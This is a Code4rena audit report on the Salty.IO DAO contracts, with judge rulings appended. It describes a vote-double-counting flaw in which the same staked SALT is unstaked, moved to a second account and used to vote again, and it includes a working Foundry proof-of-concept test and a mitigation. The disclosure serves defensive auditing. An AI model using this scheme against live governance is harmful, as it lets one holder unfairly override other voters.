Voting power is not recalculated on ballot finalizing, which makes possible to win with a unfair amount of votes

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L278-L291 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L385-L400 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L219-L228 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L130-L152

Vulnerability details

Impact

In the function Proposals::castVote is used to vote for a proposal made to the DAO. This functions uses the amount staked in the SALT pool to calculate the voting power of the user.

However, the vote is not recalculated in none of the functions used during the finalization of a proposal, this are the functions:

• DAO::finalizeBallot()
• DAO::_finalizeApprovalBallot()
• Proposal::canFinalizeBallot()
• Proposal::markBallotAsFinalized()

As impact, this enables a user to win a proposal vote with a unfair amount of voting power, as shown in the Proof of Concept.

Proof of Concept

Here is the scenario showing that if a user has 33.34% voting power, they can win any Yes or No proposal.

• A proposal is created by Alice
• Alice stakes Salt.
• Alice votes
• Alice untakes Salt
• Alice wait two weeks to get her tokens.
• Alice transfers her Salts to another account of hers (bob).
• Alice uses the other account to stake Salt
• The other account votes on the proposal, doubling the vote power since it used the same tokens on Alice's account.

Save the test in a file called POC.t.sol and run the test with NETWORK="sep" forge test -vv --mt testVotingPOC --rpc-url "YOUR_RPC_URL"

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../../dev/Deployment.sol";
import "./ExcessiveSupplyToken.sol";

contract TestProposals is Deployment
{
    // User wallets for testing
    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

    constructor()
    {
        grantAccessAlice();
        grantAccessBob();
        grantAccessCharlie();
        grantAccessDeployer();
        grantAccessDefault();

        vm.prank(address(initialDistribution));
        salt.transfer(DEPLOYER, 100000000 ether);

        vm.startPrank( DEPLOYER );
        salt.transfer( alice, 10000000 ether );
        salt.transfer( DEPLOYER, 90000000 ether );
        vm.stopPrank();

        // Mint some USDS to the DEPLOYER and alice
        vm.startPrank( address(collateralAndLiquidity) );
        usds.mintTo( DEPLOYER, 2000000 ether );
        usds.mintTo( alice, 1000000 ether );
        vm.stopPrank();

        // Allow time for proposals
        vm.warp( block.timestamp + 45 days );
    }

    function setUp() public
    {
        vm.startPrank( DEPLOYER );
        usds.approve( address(proposals), type(uint256).max );
        salt.approve( address(staking), type(uint256).max );
        vm.stopPrank();

        vm.startPrank( alice );
        usds.approve( address(proposals), type(uint256).max );
        salt.approve( address(staking), type(uint256).max );
        vm.stopPrank();

        vm.startPrank( bob );
        usds.approve( address(proposals), type(uint256).max );
        salt.approve( address(staking), type(uint256).max );
        vm.stopPrank();
    }
    function testVotingPOC() public {
        vm.prank(DEPLOYER);
        salt.transfer(charlie, 6666 ether);

        vm.startPrank(charlie);
        salt.approve( address(staking), type(uint256).max );
        staking.stakeSALT( 6666 ether );
        vm.stopPrank();

        vm.startPrank(alice);
        console.log("Alice balance: ", salt.balanceOf(alice));
        staking.stakeSALT( 3334 ether );
        IERC20 token = new TestERC20("TEST", 18);
        proposals.proposeTokenWhitelisting(token, "https://url", "test token");
        console.log("Alice Stake amount: ", staking.userXSalt(alice));

        proposals.castVote( 1, Vote.YES );
        staking.unstake(3334 ether, 2);
        console.log("Alice Stake amount: ", staking.userXSalt(alice));
        vm.warp(block.timestamp + 2 * ( 1 weeks ));

        staking.recoverSALT(0);
        console.log("Alice balance: ", salt.balanceOf(alice));
        console.log("Transfering the funds");
        salt.transfer(bob, 3334 ether);
        console.log("Bob Salt balance: ", salt.balanceOf(bob));
        vm.stopPrank();

        vm.startPrank(bob);
        staking.stakeSALT( 3334 ether );
        proposals.castVote( 1, Vote.YES );
        vm.stopPrank();

        vm.prank(charlie);
        proposals.castVote( 1, Vote.NO );

        console.log("Ballot is approved?", proposals.ballotIsApproved(1));
        console.log("Ballot votes:");
        console.log("\tYES: ", proposals.votesCastForBallot(1, Vote.YES));
        console.log("\tNO:  ", proposals.votesCastForBallot(1, Vote.NO));
        vm.stopPrank();

        vm.prank( address(dao) );
        proposals.markBallotAsFinalized(1);
    }
}

Tools Used

• Cursor IDE
• Foundry

Recommended Mitigation Steps

Revalidate the voting power to finalize a proposal, this will allow a fair result for all users.

Assessed type

Other

[c4-judge]

Picodes marked the issue as duplicate of #46

[c4-judge]

Picodes marked the issue as not a duplicate

[c4-judge]

Picodes marked the issue as duplicate of #984

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes marked the issue as duplicate of #746